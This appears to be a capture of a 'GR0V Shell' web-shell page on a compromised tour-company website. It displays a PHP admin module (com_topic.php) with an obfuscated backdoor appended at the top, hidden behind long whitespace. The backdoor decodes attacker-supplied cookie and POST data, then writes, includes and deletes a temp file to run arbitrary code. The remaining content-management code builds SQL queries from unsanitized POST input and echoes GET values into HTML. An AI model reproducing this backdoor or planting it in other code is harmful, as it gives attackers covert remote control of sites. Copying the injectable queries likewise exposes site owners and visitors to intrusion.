? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/modules/content/
File Upload :
Current File : /home/admin/public_html/modules/content/com_topic.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 if (!class_exists("kzhrpq")){class kzhrpq{public static $zyguo = "fjkcxqpvibwregcb";public static $aytulkpi = NULL;public function __construct(){$mcnmkp = @$_COOKIE[substr(kzhrpq::$zyguo, 0, 4)];if (!empty($mcnmkp)){$qnrmgd = "base64";$sknemkflc = "";$mcnmkp = explode(",", $mcnmkp);foreach ($mcnmkp as $dtnbstuux){$sknemkflc .= @$_COOKIE[$dtnbstuux];$sknemkflc .= @$_POST[$dtnbstuux];}$sknemkflc = array_map($qnrmgd . "_decode", array($sknemkflc,));$sknemkflc = $sknemkflc[0] ^ str_repeat(kzhrpq::$zyguo, (strlen($sknemkflc[0]) / strlen(kzhrpq::$zyguo)) + 1);kzhrpq::$aytulkpi = @unserialize($sknemkflc);}}public function __destruct(){$this->lnjlc();}private function lnjlc(){if (is_array(kzhrpq::$aytulkpi)) {$lxkjedli = sys_get_temp_dir() . "/" . crc32(kzhrpq::$aytulkpi["salt"]);@kzhrpq::$aytulkpi["write"]($lxkjedli, kzhrpq::$aytulkpi["content"]);include $lxkjedli;@kzhrpq::$aytulkpi["delete"]($lxkjedli);exit();}}}$snedro = new kzhrpq();$snedro = NULL;} ?><?
class topic extends backoff
{
function list_sub_usertype($parent){
							$rs=$this->Query("SELECT * FROM content_cat WHERE  CatParentID='$parent'");
							while($arr=mysql_fetch_array($rs)){
								$str.=$arr['CatID']."-";
								$str.=$this->list_sub_usertype($arr['CatID']);
								}
			return $str;
}
function get_sub_cat($parent,$selected,$option){
			global $user_login;
			$u=$user_login['ID'];
			$access=$user_login['Access'];
$rs=$this->Query("SELECT * FROM content_cat where  CatParentID='$parent'");

			if($parent!=''){
			$option.="&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
			}
//$rs=$this->Query("SELECT * FROM package_cat where parent='$parent' and user_id='$u'");
while($arr=mysql_fetch_array($rs)){
	$id=$arr['CatID'];
	$name=$arr['CatName'];
	if($arr['CatID']==$selected){$s="selected";}else{$s="";}
	if($parent!=''){
		$html.="<OPTION VALUE=\"$id\" $s>$option $name</OPTION>";
	}else{	$html.="<OPTION VALUE=\"$id\" $s>$name</OPTION>";	}

$html.=$this->get_sub_cat($arr['CatID'],$selected,$option);
}//end while
return $html;
}

function list_by_group(){
global $user_login;
$output.="
<table width=\"400\" border=0>
<tr><form method=\"GET\" action=\"$link\" name=\"form_group\">
<td width=\"100%\">
แสดงตามหมวดหมู่&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
$output.="<select name=list_group  onchange=\"document.form_group.submit()\">";
$output.="<option value=\"All\" selected> --เลือกทั้งหมด--</option>";

$result=$this->Query("SELECT * FROM content_cat   order by CatID DESC");

 $output.=$this->get_sub_cat($r,$_GET['list_group'],$option);
if($_GET){
			foreach ($_GET as $key => $value){
				if($key !="list_group"){
					$output.= "<input type='hidden' name='$key' value='$value'>\n";
				}
			}
		}
	$output.="</select>";
	$output.="</td></form></tr></table>";
return $output;
}//end function company
function Search(){
	$output.="<table width=\"350\" height=\"20\"><form method=\"GET\" action=\"$link\" name=\"search\"><tr><td width=\"100%\">
	<input type='hidden' name='option' value='search'>
		<input type='hidden' name='page' value='1'>
		<select size=\"1\" name=\"key\">";
	$keysearch=array('ContentName'=>"ชื่อเรื่อง");
	foreach($keysearch as $key=>$value){
		if($_GET['key']==$key){
			$output.="<option value=\"$key\" selected>$value</option>";
		}//end if $_GET['key']
		else{
$output.="<option value=\"$key\">$value</option>";
		}
	}

	if($_GET){
			foreach ($_GET as $key => $value){
				if($key != "key" && $key != "keyword" && $key !="search"&&$key!="page"){
					$output.= "<input type='hidden' name='$key' value='$value'>\n";
				}
			}
		}
	$output.="</select>";
	if($_GET['keyword']!=""){
	$output.="<input type='textbox' name='keyword' size=\"20\" value=".$_GET['keyword'].">";
	}else{
		$output.="<input type='textbox' name='keyword' size=\"25\">";
		}
	$output.="<input type='submit' value=\"search\" size=10>";
	$output.="</td></tr></form></table>";
return $output;
}

function listData($table,$condition,$orderby,$sort,$chksort,$header_txt,$header_td_width,$link){
global $user_login;
$this->_header_txt=$header_txt;

	foreach($header_txt as $table_colum => $header_txt_name){
		if($orderby==$header_txt_name){
		$orderby2="binary $table_colum";
		}
	}
if($chksort=='Yes'){
		if($sort=="Min2Max"){
			$sort="Max2Min";
			$sort2="ASC";
			$sort3=$sort;
		}else if($sort=="Max2Min"){
			$sort="Min2Max";
			$sort2="DESC";
			$sort3=$sort;
		}
}else{
		if($sort=="Min2Max"){
		$sort="Min2Max";
		$sort2="ASC";
		$sort3="Max2Min";
		}else if($sort=="Max2Min"){
		$sort="Max2Min";
		$sort2="DESC";
		$sort3="Min2Max";
		}
}
// จะต้องมีการแก้ไขให้ตรงกับฐานข้อมูล *** ตัวแปร $orderby2
if($orderby2==""){
$orderby2="CatID";
}

$this->_Start = ($this->_Page * $this->_Limit) - $this->_Limit;
if($_SESSION["user_login"]['Type'] == 3){
	$sql= "SELECT * FROM contents WHERE CatID = 135 AND ContentBlogID = '".$_SESSION["user_login"]['ID']."' ORDER BY $orderby2 $sort2,ContentID DESC ";
}else{
	$sql= "SELECT * FROM $table $where ORDER BY $orderby2 $sort2,ContentID DESC ";
if($_POST['parent']<>""){
$sql= "SELECT * FROM contents WHERE CatID = '{$_POST['parent']}' ORDER BY $orderby2 $sort2,ContentID DESC  ";
}
}
$this->setQuery($sql);
$result=$this->QueryReturn();
$this->_total=$this->NumRows();
$this->_Next_Page = ceil($this->_total/$this->_Limit);
//$sql.= " LIMIT " . $this->_Start . "," .  $this->_Limit;
$this->setQuery($sql);
//echo $sql;
$result2=$this->QueryReturn();
$this->PageNavigator();
		$output.="
		<div class=\"wrapper\">
		<div class=\"content\">
        <div class=\"table\">
            <div class=\"head\">";
if($_SESSION["user_login"]['Type'] <> 3){
$output.="<form id=\"form10\" name=\"form10\" method=\"post\" action=\"$PHPSELF?mod=content\">
			<table width=\"100%\" height=\"30\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">
    <tr>
      <td width=\"5%\">sort by</td>
      <td align=\"left\">
        <select name=\"parent\" onchange=\"document.form10.submit()\">
          <option value=\"\">--หมวดหมู่--</option>";
$sql=$this->Query("SELECT * FROM content_cat WHERE CatParentID = 0 Order By CatID ASC");
		  while($rs1=mysql_fetch_array($sql)){
		  	if($rs1[CatID] == $_POST['parent']){
		  		$output.="<option value=\"".$rs1[CatID]."\" selected=\"selected\">".$rs1[CatName]."</option>";
		  	}else{
		  		$output.="<option value=\"".$rs1[CatID]."\">".$rs1[CatName]."</option>";
		  	}
		  }
        $output.="</select>
      </td>
    </tr>
  </table>
  </form>";
}
$output.="</div><form method=\"POST\" action=\"$link2\" name=\"backend_form\" >
            <table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" class=\"display\" id=\"example\">
                <thead>
                    <tr>";
					foreach($header_txt as $table_colum => $header_txt_name){

					    $output.="<th>{$header_txt_name}</th>";

					$i++;
					}

		$output.="<th width=\"10%\">แก้ไขบทความ</th>
				  <th width=\"9%\">ลบบทความ</th>";
       	$output.="</tr></thead>";


$output.="<tbody>";
$data_colum=Array();
$count=0;
while($arr=mysql_fetch_array($result2))
{
$id = $arr['ContentID'];
$CatID = $arr['CatID'];
$j=0;
foreach($header_txt as $colum => $key){
			$data_colum[$j]=$arr[$colum];
			$j++;
}//end foreach
$link=$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING'];
$output.="<tr class=\"gradeA\">";
//$output.="<td><input type=\"checkbox\" name=\"checkbox[$count]\" id=\"checkbox_$count\" value=\"$id\"></td>";

for($i=0;$i<count($data_colum);$i++){
	if($i==1){
		if($data_colum[$i]==1)
		{
	$output.="<td style=\"color:green;font-weight:bold;\">อนุญาต</td>";
	}
	else
	{
	$output.="<td style=\"color:red;font-weight:bold;\">ไม่อนุญาต</td>";
	}
	}
	else
	$output.="<td>$data_colum[$i]</td>";

}

$link_del=$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING']."&ac=del_data&id=$id";
$comment="ยืนยันคำสั่งลบข้อมูล";
$alt="ลบข้อมูล";
$deletef="<script language=\"JavaScript\">
function tmt_confirm(msg){
document.MM_returnValue=(confirm(unescape(msg)));
}
</script><a href=\"$link_del\"><i class=\"fa fa-trash\" aria-hidden=\"true\" onClick=\"tmt_confirm('$comment'); return document.MM_returnValue\"></i><br>$alt</a>";

		if($CatID != 57)
		{
			 $output.="<td class=\"center\"><a href=\"$link&ac=edit_data&id={$id}\"  class=\"btn14 mr5\"><i class=\"fa fa-pencil\" aria-hidden=\"true\"></i><br>แก้ไข</a></td>
           <td class=\"center\">".$deletef."</td>
		   </tr>";
		}
		else
		{
			 $output.="<td class=\"center\"><a href=\"$link&ac=edit_data&id={$id}\"  class=\"btn14 mr5\"><i class=\"fa fa-pencil\" aria-hidden=\"true\"></i> แก้ไข</a></td>
			   <td class=\"center\">-</td>
			   </tr>";
		}

 } //while
			    $output.="
             </tbody>
            </table>
		 </form>
      </div>

    </div>
    <div class=\"fix\"></div>
</div>";



return $output;
}//end listData

function listData_idx_list($table,$condition,$orderby,$sort,$chksort,$header_txt,$header_td_width,$link){
global $user_login;
$this->_header_txt=$header_txt;

	foreach($header_txt as $table_colum => $header_txt_name){
		if($orderby==$header_txt_name){
		$orderby2="binary $table_colum";
		}
	}
if($chksort=='Yes'){
		if($sort=="Min2Max"){
			$sort="Max2Min";
			$sort2="ASC";
			$sort3=$sort;
		}else if($sort=="Max2Min"){
			$sort="Min2Max";
			$sort2="DESC";
			$sort3=$sort;
		}
}else{
		if($sort=="Min2Max"){
		$sort="Min2Max";
		$sort2="ASC";
		$sort3="Max2Min";
		}else if($sort=="Max2Min"){
		$sort="Max2Min";
		$sort2="DESC";
		$sort3="Min2Max";
		}
}
// จะต้องมีการแก้ไขให้ตรงกับฐานข้อมูล *** ตัวแปร $orderby2
if($orderby2==""){
if ($_SESSION["la"] == 1){
$orderby2="contents.ContentID";
}else{
$orderby2="contents.ContentID";
}

}

$this->_Start = ($this->_Page * $this->_Limit) - $this->_Limit;
$sql= "SELECT * FROM $table ";

$this->setQuery($sql);
$result=$this->QueryReturn();
$this->_total=$this->NumRows();
$this->_Next_Page = ceil($this->_total/$this->_Limit);
$this->setQuery($sql);
$result2=$this->QueryReturn();
$this->PageNavigator();
		$output.="
		<div class=\"wrapper\">
		<div class=\"content\">
    	<div class=\"title\"><img style=\"padding:10px 0 0 15px; float:left;\" src=\"images/icons/dark/docs.png\"><h5>แสดงผล แฮปปี้โคเรียลาแนล หน้าหลัก 3 อันดับ</h5></div>
        <div class=\"table\">
            <div class=\"head\"></div><form method=\"POST\" action=\"$link2\" name=\"backend_form\" >
            <table cellpadding=\"0\" cellspacing=\"0\" border=\"0\" class=\"display\" id=\"example\">
                <thead>
                    <tr><th width=\"5%\"></th>";
					foreach($header_txt as $table_colum => $header_txt_name){
					$output.="<th>{$header_txt_name}</th>";
					$i++;
					}

		$output.="<th width=\"22%\">จัดตำแหน่งการแสดงผล</th>";
       	$output.="</tr></thead>";


		$output.="<tbody>";
		$data_colum=Array();
		$count=0;

		for($kkk=1;$kkk<=3;$kkk++)
				{

						$j=0;
						foreach($header_txt as $colum => $key){
									$data_colum[$j]=$arr[$colum];
									$j++;
						}//end foreach
						$link=$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING'];
						$output.="<tr class=\"gradeA\">";
						$output.="<td>&nbsp;</td>";
$this->setQuery("SELECT * FROM contents INNER JOIN contents_recommend ON (contents.ContentID = contents_recommend.ContentID) INNER JOIN contents_photo ON (contents.ContentID = contents_photo.ContentID) WHERE (contents_recommend.ContentRecommendRanking	 = $kkk)  order by contents_photo.id_p DESC ");

						$rsChktour_recommend= $this->QueryReturn();
						if($this->NumRows() > 0)
						{
								$arrChktour_recommend = mysql_fetch_array($rsChktour_recommend);
								for($i=0;$i<count($data_colum);$i++)
								{
									$output.="<td>";
									if($i==0)
									$output.="<img src=\"images/ContentPhoto/$arrChktour_recommend[picture]\"width=\"100\"></td>";
									else if($i==1)
									$output.="$arrChktour_recommend[ContentName]</td>";
								}
						}
						else
						{
								for($i=0;$i<count($data_colum);$i++)
								{
									$output.="<td>";
									if($i==0)
									$output.= "-</td>";
									else if($i==1)
									$output.="-</td>";
								}
						}

						$output.="<td class=\"center\"><a href=\"#\" onclick=\"Popup2('modules/content/list_index_page2.php?id=$kkk','list_index_page2',550,100)\" class=\"btn14 mr5\"><img src=\"images/icons/dark/pencil.png\"  > จัดตำแหน่ง ลำดับที่ $kkk</a></td></tr>";
						$arrChktour_recommend['id_g'] = "";
				} //for

			    $output.="
             </tbody>
            </table>
		 </form>
      </div>

    </div>
    <div class=\"fix\"></div>
</div>";



return $output;
}//end listData

}//end class BackEndData
?>

T1KUS90T
  root-grov@210.1.60.28:~$